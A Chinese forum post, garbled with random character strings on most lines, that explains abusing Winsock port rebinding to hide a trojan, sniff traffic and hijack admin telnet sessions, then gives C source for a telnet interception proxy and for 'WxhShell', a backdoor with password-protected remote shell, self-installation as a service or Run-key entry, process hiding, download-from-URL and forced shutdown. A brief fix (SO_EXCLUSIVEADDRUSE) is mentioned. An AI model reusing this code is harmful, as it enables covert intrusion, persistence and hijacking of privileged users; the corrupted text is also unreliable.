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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nb@"?<L!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wy4q[$.4v  
9|!j4DS<  
  saddr.sin_family = AF_INET; }&G]0hCT!  
a`Z{ xme =  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z-|li}lDr  
-rDz~M+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |tG+iF@4  
T0FZ7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wTpD1"_R  
r7)@M%A  
  这意味着什么?意味着可以进行如下的攻击: @%@zH%b  
{(vOt'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,{j4  
+*t|yKO>[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .T3=Eq&"W  
Z%v6xP.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jFj~]]j  
vg5NY =O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [{PqV):p  
E5B8 Z?$a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y5jYmP<  
.u< U:*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '>^Xqn  
"r-l8r,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vO$ra5Z  
7>x;B  
  #include A'DVJ9%xB  
  #include u3wL<$2[8  
  #include X7e/:._SAH  
  #include    J#7(]!;F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R[ yL _>  
  int main() Uh+jt,RB`  
  { dp^N_9$cdO  
  WORD wVersionRequested; v"k 4ATWP  
  DWORD ret; AA7#c7  
  WSADATA wsaData; yzc pG6 ,  
  BOOL val; 1!s28C5u  
  SOCKADDR_IN saddr; &`PbO  
  SOCKADDR_IN scaddr; j+1KNH  
  int err; >}F?<JB  
  SOCKET s; L<@&nx   
  SOCKET sc; $'$>UFR  
  int caddsize; #K`B<2+T  
  HANDLE mt; Bz]J=g7  
  DWORD tid;   >i8~dEbB  
  wVersionRequested = MAKEWORD( 2, 2 ); @Qo,p  
  err = WSAStartup( wVersionRequested, &wsaData ); A1<k1[5fJ  
  if ( err != 0 ) { {mYx  
  printf("error!WSAStartup failed!\n"); #'NY}6cb$  
  return -1; KF$%q((  
  } Cj$H[K}>  
  saddr.sin_family = AF_INET; d[U1.SNL  
   tQ0=p| T]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]hUKuef  
y#r\b6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6{^*JC5nj  
  saddr.sin_port = htons(23); 3o7xN=N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B&nw#saz.  
  { AijUs*n 2  
  printf("error!socket failed!\n"); :bw6k  
  return -1; B*Cb6'Q  
  } 4sd-zl$Of  
  val = TRUE; 6bJ"$o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O<a3DyUa;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U]j&cFbn5_  
  { R1 qMg+  
  printf("error!setsockopt failed!\n"); AJWLEc4XK  
  return -1; nCB[4  
  } 36i_D6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KW:r;BFx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y<uE-4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v|To+ P6b  
 . X0t"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Heohe|an  
  { t;XS;b %  
  ret=GetLastError(); XbXgU#%  
  printf("error!bind failed!\n"); *cy.*@d  
  return -1; `7>K1slQ}S  
  } ws().IZ  
  listen(s,2); [EOMCH2Ki  
  while(1) w}b<D#0XC  
  { GFY-IC+fc  
  caddsize = sizeof(scaddr); [+7"{UvT  
  //接受连接请求 Fi k@hu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q^q=!/qQ  
  if(sc!=INVALID_SOCKET) Y(W{Jd+  
  { rUvwpP"k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sx90lsu  
  if(mt==NULL) |Rk37P {  
  { (>r|j4$  
  printf("Thread Creat Failed!\n"); bN4d:0Y  
  break; ,{TQ ~LP  
  } ,@,LD  u  
  } /W``LK>;?  
  CloseHandle(mt); iGyVG41U  
  } 4Q/r[x/&C  
  closesocket(s); 8ipW3~-4  
  WSACleanup(); z,os MS  
  return 0; 0c-QIr}m  
  }   2:n|x5\H  
  DWORD WINAPI ClientThread(LPVOID lpParam) g)nXo:)&  
  { )PHl>0i!  
  SOCKET ss = (SOCKET)lpParam; ;_w MWl0F  
  SOCKET sc; [5-!d!a|st  
  unsigned char buf[4096]; &?v#| qIh  
  SOCKADDR_IN saddr; Q{`@ G"'  
  long num; ]uJM6QuQ  
  DWORD val; s V&`0N  
  DWORD ret; &8juS,b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uq]iMz>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e8 v; D  
  saddr.sin_family = AF_INET; |M]sk?"^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,$o-C&nC  
  saddr.sin_port = htons(23); (J/>Gy)d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NywB 3  
  { r \9:<i8  
  printf("error!socket failed!\n"); i~(#S8U4d  
  return -1; 69?I?,7  
  } ~S! L!qY  
  val = 100; -aA<.+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) # e$\~cPd  
  { Y]?Kqc  
  ret = GetLastError(); ]C+eJ0"A  
  return -1; 2}ag_  
  } Lq3(Z%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M2a}x+5'  
  { dzpj9[  
  ret = GetLastError(); G|<]Ma9x  
  return -1; |F3vRt@  
  } kA1f[ AL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,7QBJ_-;QJ  
  { 3s#|Y,{?6R  
  printf("error!socket connect failed!\n"); @_G` Ok4  
  closesocket(sc); rK*hTjVn  
  closesocket(ss); `9]P/J^  
  return -1; 'et(:}i  
  } q`h7H][(A  
  while(1) ry z /rf  
  { #^"hqNwA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (}VuiNY<3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Cl%V^xTb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "<7$2!  
  num = recv(ss,buf,4096,0); `>dIF.  
  if(num>0) b;SFI^  
  send(sc,buf,num,0); YL; SxLY  
  else if(num==0) 6R0D3kW  
  break; }3bQ>whF  
  num = recv(sc,buf,4096,0); K lPm=  
  if(num>0) 1VRqz5  
  send(ss,buf,num,0); [B.W1 GL!  
  else if(num==0) @2QJm  
  break; wEZqkV  
  } %{7$ \|;J'  
  closesocket(ss); QxP` fKC8  
  closesocket(sc); oBhL}r  
  return 0 ; 6(!,H<bON  
  } Rs`Vr_?Hk  
+>n. T  
sxf}Mmsk  
========================================================== ADuZ}]  
 gvvFU,2  
下边附上一个代码,,WXhSHELL @WMj^t1D+  
rGQ86L<  
========================================================== bkJwPs  
hhN(;.  
#include "stdafx.h" ?*B;514  
t sC z+MP  
#include <stdio.h> clij|?O  
#include <string.h> 8 ))I$+  
#include <windows.h> zS&7[:IRs'  
#include <winsock2.h> =>E44v  
#include <winsvc.h> (or =f`  
#include <urlmon.h> OJh+[bf"  
w@<<zItSo  
#pragma comment (lib, "Ws2_32.lib") {"qW~S90YO  
#pragma comment (lib, "urlmon.lib") ][s*~VK;  
>b[4  
#define MAX_USER   100 // 最大客户端连接数 ! hOOpZ f7  
#define BUF_SOCK   200 // sock buffer @ J?-a m>  
#define KEY_BUFF   255 // 输入 buffer wWp?HDl"M  
RlG'|xaT  
#define REBOOT     0   // 重启 F(0pru4u  
#define SHUTDOWN   1   // 关机 %Z-TbOX  
Yj|c+&Ng  
#define DEF_PORT   5000 // 监听端口 z:@d@\$?  
+]aD^N9['  
#define REG_LEN     16   // 注册表键长度 w*]_FqE  
#define SVC_LEN     80   // NT服务名长度 bQ${8ZO  
Udb0&Y1^  
// 从dll定义API pO-)x:Wg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gDUoc*+h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s (l+{b &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o(S^1j5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B8P@D"u  
rd f85%%7  
// wxhshell配置信息 XFLjVrX[  
struct WSCFG { :Kt{t46)  
  int ws_port;         // 监听端口 *<#]&2I  
  char ws_passstr[REG_LEN]; // 口令 %'K+$  
  int ws_autoins;       // 安装标记, 1=yes 0=no .)oQM:F (h  
  char ws_regname[REG_LEN]; // 注册表键名 X.r!q1_c  
  char ws_svcname[REG_LEN]; // 服务名 gwkZk-f\p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \!? PhNv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lx4H/[$6D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :$)aMEq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o =jX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zmrX %!CW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y6[]wUJ  
HzFt  
}; m-&a~l  
$)WH^Ir~  
// default Wxhshell configuration 'PxL^  
struct WSCFG wscfg={DEF_PORT, d@`-!"  
    "xuhuanlingzhe", g/J^K*3]  
    1, <3J=;.\6  
    "Wxhshell", d- _93  
    "Wxhshell", 7ZR0M&pX  
            "WxhShell Service", rK0|9^i{  
    "Wrsky Windows CmdShell Service", {#d`&]  
    "Please Input Your Password: ", Jf8'N ot  
  1, &El[  
  "http://www.wrsky.com/wxhshell.exe", u8$~N$L  
  "Wxhshell.exe" _YD<Q@  
    }; +eH=;8  
[jmAMF<F  
// 消息定义模块 +L<w."WG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9h)P8B.>M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eN7yjd'Y6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PT= 2LZ  
char *msg_ws_ext="\n\rExit."; QjT#GvHY  
char *msg_ws_end="\n\rQuit."; Xl '\krz  
char *msg_ws_boot="\n\rReboot..."; =-#iXP@  
char *msg_ws_poff="\n\rShutdown..."; _cnrGi}T  
char *msg_ws_down="\n\rSave to "; ZS 7)(j$.  
x Ps& CyI  
char *msg_ws_err="\n\rErr!"; ! a8h  
char *msg_ws_ok="\n\rOK!"; LqH?3):  
&nY2u-Q  
char ExeFile[MAX_PATH]; :5qqu{GL  
int nUser = 0; e>s.mH6A  
HANDLE handles[MAX_USER]; aO;Q%]VL'  
int OsIsNt; lj%;d'  
YP@ ?j  
SERVICE_STATUS       serviceStatus; CH|g   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]'z ^Kt5S  
fjzr8vU}C  
// 函数声明 Ky{I&}+R|  
int Install(void); S7\jR%p b  
int Uninstall(void); M4$4D?  
int DownloadFile(char *sURL, SOCKET wsh); Zzzi\5&gU  
int Boot(int flag); iJ~iJ'vf  
void HideProc(void); TBLk+AR  
int GetOsVer(void); Q'V,?#  
int Wxhshell(SOCKET wsl); n ;$}pg ~  
void TalkWithClient(void *cs); v \L Ip  
int CmdShell(SOCKET sock); #v]aT  ]}  
int StartFromService(void); Ts?>"@  
int StartWxhshell(LPSTR lpCmdLine); c~u F  
KfI$'F #"/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3hpz.ISk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E t[QcB3  
I n%yMH8  
// 数据结构和表定义 1Y"y!\t7G  
SERVICE_TABLE_ENTRY DispatchTable[] = GCmVmOdKr  
{ Z6HkQ=A64  
{wscfg.ws_svcname, NTServiceMain}, . KSr@Gz  
{NULL, NULL} PT5ni6  
}; fn"jYSy  
~O3uje_  
// 自我安装 A_$Mt~qKi^  
int Install(void) W,eKQV<j  
{ "{1}  
  char svExeFile[MAX_PATH]; fCo2".Tk  
  HKEY key; XVK[p=cIL  
  strcpy(svExeFile,ExeFile); c`[uQXv  
(/UMi,Ho  
// 如果是win9x系统,修改注册表设为自启动 [8(9.6f  
if(!OsIsNt) { Kps GQM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w6%CB E2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ab|NjY:  
  RegCloseKey(key); bTYP{x~ y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 GLB3I >  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {;rpgc  
  RegCloseKey(key); Xf/<.5A  
  return 0; 7|?@\ZE  
    } [,V92-s;N  
  } $/sZYsN~T  
} Q\th8/ /  
else { 'm.XmVZL%  
t7`Pw33#kY  
// 如果是NT以上系统,安装为系统服务 a!]QD`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yeh adm\  
if (schSCManager!=0) k*+ZLrT  
{ oXOO 10  
  SC_HANDLE schService = CreateService 4Og GZ  
  ( in|7ucSlg  
  schSCManager, At_Y$N:  
  wscfg.ws_svcname, a5g{.:NfO  
  wscfg.ws_svcdisp, RwLdV+2\R`  
  SERVICE_ALL_ACCESS, ^oZs&+z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L,ey3i7a\  
  SERVICE_AUTO_START, 61;5Yo  
  SERVICE_ERROR_NORMAL, Wn</",Gf  
  svExeFile, 1OGv+b)  
  NULL, g KY ,G  
  NULL, wEn&zZjx  
  NULL, ktJLp Z<0O  
  NULL, 79fyn!Iz<  
  NULL SYhspB  
  ); %3B>1h9N  
  if (schService!=0) .0/Z'.c 8  
  { E;e2{@SX2K  
  CloseServiceHandle(schService); iPL'JVPZ  
  CloseServiceHandle(schSCManager); K%#C+`Ij  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =-& iF  
  strcat(svExeFile,wscfg.ws_svcname); &:{yf=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CAObC%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,> EY9j  
  RegCloseKey(key); "4- Nnm  
  return 0; l.'E\3Bo  
    } #NxvLW/  
  } hA19:H=7R0  
  CloseServiceHandle(schSCManager); hLA=7  
} v=^)`C6Ma  
} yxq!. 72  
h |  
return 1; R$3+ 01j|  
} d-2I_ )9  
:fQ*'m,  
// 自我卸载 ~./u0E  
int Uninstall(void) I z@x^s  
{ FnU;n  
  HKEY key; nff]Y$FB  
dfd%A" I  
if(!OsIsNt) { D#AxgF_He  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sk%|-T(d$  
  RegDeleteValue(key,wscfg.ws_regname); Ceb i9R[  
  RegCloseKey(key); n8ya$bc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q&\ksM  
  RegDeleteValue(key,wscfg.ws_regname); /JY i^rZ  
  RegCloseKey(key); x1ex}_\  
  return 0; nUu|}11(  
  } , |B\[0p  
} oW9rl]+  
} gVWLY;c 3}  
else { QVhBHAw  
,6)y4=8 L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cjpl_}'L:  
if (schSCManager!=0) .Cd$=v6  
{ $h f\ #'J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aB_z4dqwU  
  if (schService!=0) O&%T_Zk@@  
  { ~hX'FV  
  if(DeleteService(schService)!=0) { ~Q]M_,`M  
  CloseServiceHandle(schService); 0w&1wee(  
  CloseServiceHandle(schSCManager); >U.uRq  
  return 0; 8#AXK{  
  } PUo&>  
  CloseServiceHandle(schService); OOwJ3I >]>  
  } q+Q)IVaU81  
  CloseServiceHandle(schSCManager); ,g.=vQm:?  
} h2snGN/{Hb  
} t)+dW~g  
40ZB;j$l  
return 1; c *noH[  
} arrcHf 4O  
]d(}b>gR~(  
// 从指定url下载文件 $SgD| 9  
int DownloadFile(char *sURL, SOCKET wsh) p.olXP  
{ ] lTfi0}g_  
  HRESULT hr; YiMecu  
char seps[]= "/"; \rO>F E  
char *token; J'v|^`bE  
char *file; 3E9j%sYk  
char myURL[MAX_PATH]; [G)Sq;  
char myFILE[MAX_PATH]; ~;` #{$/C&  
rKq]zHgpo  
strcpy(myURL,sURL); mK4A/bsE  
  token=strtok(myURL,seps); - d6>  
  while(token!=NULL) OkXOV   
  { \aozecpC`  
    file=token; bp_@e0  
  token=strtok(NULL,seps); C I0^eaFs  
  } Czn7,KE8X  
4v$AM8/o  
GetCurrentDirectory(MAX_PATH,myFILE); i{0_}"B  
strcat(myFILE, "\\"); #a:C=GV;4  
strcat(myFILE, file); N<%,3W_-_  
  send(wsh,myFILE,strlen(myFILE),0); W=:+f)D  
send(wsh,"...",3,0); } U.B$4Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L1BpY-=  
  if(hr==S_OK) 'z:p8"h}  
return 0; b.+\qaR  
else egvWPht'_  
return 1; 9IV WbJ  
v8[1E>&vx  
} $%'z/'o!  
NST6pu\,U  
// 系统电源模块 ~Otf "<  
int Boot(int flag) T~E83Jw  
{ `}l%Am  
  HANDLE hToken; ualtIHXK)  
  TOKEN_PRIVILEGES tkp; biD7(AK  
f ;JSP  
  if(OsIsNt) { RCr:2 Iz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }rZp(FG@*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g<Xwk2_=g  
    tkp.PrivilegeCount = 1; 2} -W@R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d8I/7 ;F X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }z #8vE;  
if(flag==REBOOT) { V"XN(Fd^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,8 seoX^  
  return 0; ai RNd~\  
} ~r3g~MCHS  
else { E%N]t} }[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 98"NUT  
  return 0; QkbN2mFv%  
} !/SFEL@_B  
  } ;iVyJZI  
  else { Sz&`=x#  
if(flag==REBOOT) { cA kw5}P   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P<~ y$B  
  return 0; ikC;N5Sw  
} fx},.P=:*  
else { o\N}?Z,Kk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uan ;}X7@  
  return 0; VTU-'q  
} Rx.0P6s  
} nYHk~<a  
J4 <*KL~a  
return 1; Nnw iH  
} p*Cbe\  
v*pVcBY>  
// win9x进程隐藏模块 9viC3bj.o  
void HideProc(void) "rtmDNpL  
{ 5h&8!!$[  
;A_QI>>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z; +x`i.  
  if ( hKernel != NULL ) smggr{-  
  { ;_!;D#:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $si2H8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QXCI+Fcg  
    FreeLibrary(hKernel); SL*(ZEn"  
  } OA;L^d  
?QgWW  
return; eM}Xn^}  
} _F9 c.BH  
;%}  
// 获取操作系统版本 J{Jxb1:c  
int GetOsVer(void) 4{TUoI6ii  
{ rlq8J/0/+  
  OSVERSIONINFO winfo; R= l/EK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .gB*Y!c7  
  GetVersionEx(&winfo); 9ccEF6o0=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VCIG+Gz  
  return 1; DIY WFVh  
  else YG_3@`-<  
  return 0; 4s~o   
} 01J.XfCd6  
iiu\_ a=0b  
// 客户端句柄模块 No?pv"  
int Wxhshell(SOCKET wsl) Kxq~,g=t  
{ M1:m"#=  
  SOCKET wsh; a)]N#gx  
  struct sockaddr_in client; *m2:iChY  
  DWORD myID; \*7Tj-#  
`k+k&t  
  while(nUser<MAX_USER) y(HR1v Q;Z  
{ q(C+D%xB  
  int nSize=sizeof(client); ev>: 3_ s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +Fk.B@KT,  
  if(wsh==INVALID_SOCKET) return 1; P)3e^~+A  
BkcOsJIz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &wJ"9pQ~6E  
if(handles[nUser]==0) plca`  
  closesocket(wsh); 4H'9y3dk  
else WVVqH_  
  nUser++; +XsY*$O  
  } B,676~I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'uh6?2)wG  
%!@Dop/<  
  return 0; d(tq;2-  
} /<@oUv  
?D#Vha  
// 关闭 socket ']V 2V)t  
void CloseIt(SOCKET wsh)  h /on  
{ B|8(}Ciqx  
closesocket(wsh); {d) +a$qj  
nUser--; {2,V3*NF  
ExitThread(0); LWY`J0/  
} +f+\uObi:  
1:-$mt_*  
// 客户端请求句柄 '+$2<Ys  
void TalkWithClient(void *cs) h5~tsd}OU  
{ W>Zce="_gN  
?wmr~j  
  SOCKET wsh=(SOCKET)cs; ]p~XTZgW  
  char pwd[SVC_LEN]; yCwQ0|  
  char cmd[KEY_BUFF]; | #,b1|af  
char chr[1]; +!X^E9ra  
int i,j; sGV%O=9?2  
GDk/85cv0$  
  while (nUser < MAX_USER) { X{)M}WO+r  
pJ{sBp_$  
if(wscfg.ws_passstr) { _r&#Snp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  @521 zi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zITXEorF!J  
  //ZeroMemory(pwd,KEY_BUFF); qh=lF_%uj  
      i=0; )J 0'We  
  while(i<SVC_LEN) { sx6` g;  
6,k}v:  
  // 设置超时 !dZHG R  
  fd_set FdRead; A w83@U  
  struct timeval TimeOut; L|v1=qNH4  
  FD_ZERO(&FdRead); En1pz\'  
  FD_SET(wsh,&FdRead); 7.]ZD`"Bb  
  TimeOut.tv_sec=8; gbF.Q7?$u  
  TimeOut.tv_usec=0; JTVCaL3Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tL D.e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *F=w MWa  
2Ddrxc>48  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tmq:,.^}  
  pwd=chr[0]; BONM:(1  
  if(chr[0]==0xd || chr[0]==0xa) { 55Jk "V#8  
  pwd=0; Q|:\  
  break; mgS%YG  
  } @n<WM@|l  
  i++; B;^7Yu0,  
    } oSxHTbp?  
.a$][Jny  
  // 如果是非法用户,关闭 socket Jyvc(~x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y>|7'M*+  
} &}rh+z  
r3#H]c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VaH#~!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fe: 0nr9;  
MSw/_{  
while(1) { 0LxA+  
~W!sxM5(*  
  ZeroMemory(cmd,KEY_BUFF); LTrn$k3}  
O0wD"V^W  
      // 自动支持客户端 telnet标准   }nu hLt1  
  j=0; \07 s'W U  
  while(j<KEY_BUFF) { 8eL[ ,uw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V"gnG](2l  
  cmd[j]=chr[0]; V+_L9  
  if(chr[0]==0xa || chr[0]==0xd) { Dg \fjuK9  
  cmd[j]=0; $$AKz\  
  break; oMcX{v^"  
  } +,If|5>(  
  j++; }56"4/  Z  
    } Ip|7JL0Z  
}*;Hhbox  
  // 下载文件 haS`V  
  if(strstr(cmd,"http://")) {  s(F^P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a(!:a+9WOP  
  if(DownloadFile(cmd,wsh)) A:>G:X5t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jPhOk>m  
  else t[%9z6t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DqbN=[!X~n  
  } [K,&s8N5  
  else { 6dV92:  
ACc.&,!IZ  
    switch(cmd[0]) { >AV?g8B;  
  -49OE*uF  
  // 帮助 _<&IpT{w+  
  case '?': { KD=T04v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J %URg=r  
    break; 8&B{bS  
  } sJ25<2/  
  // 安装 9w(QM-u  
  case 'i': { Rax}r  
    if(Install()) 3%>"|Ye}A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^<7)w2ns  
    else }fUV*U:3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7'd_]e-.  
    break; $U3s:VQ'  
    } Xfk&{zO-j  
  // 卸载 gtJUQu p2  
  case 'r': { &H`yDrg6U  
    if(Uninstall()) yD(0:g#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =DUsQN!  
    else 0~Z2$`(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =D<46T=(RB  
    break; 1vu=2|QN  
    } UPA))Iv>  
  // 显示 wxhshell 所在路径 E:L =>}  
  case 'p': { ^7V9\Q9  
    char svExeFile[MAX_PATH]; VWaI!bK  
    strcpy(svExeFile,"\n\r"); UIIR$,XB  
      strcat(svExeFile,ExeFile); 3L/>=I{5  
        send(wsh,svExeFile,strlen(svExeFile),0); JmtU>2z\  
    break; w*OZ1|  
    } D\bW' k]!  
  // 重启 i` n,{{x&4  
  case 'b': { rV54-K;`0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ySL 31%  
    if(Boot(REBOOT)) 7{2knm^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +3!um  
    else { `dx+Qp  
    closesocket(wsh); JO1KkIV  
    ExitThread(0); :TxfkicN\  
    } mM&H; W  
    break; 8S &`  
    } JIQS'r  
  // 关机 FD,M.kbg  
  case 'd': { /)e&4.6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x?VX,9;j  
    if(Boot(SHUTDOWN)) &S]\)&Yt  
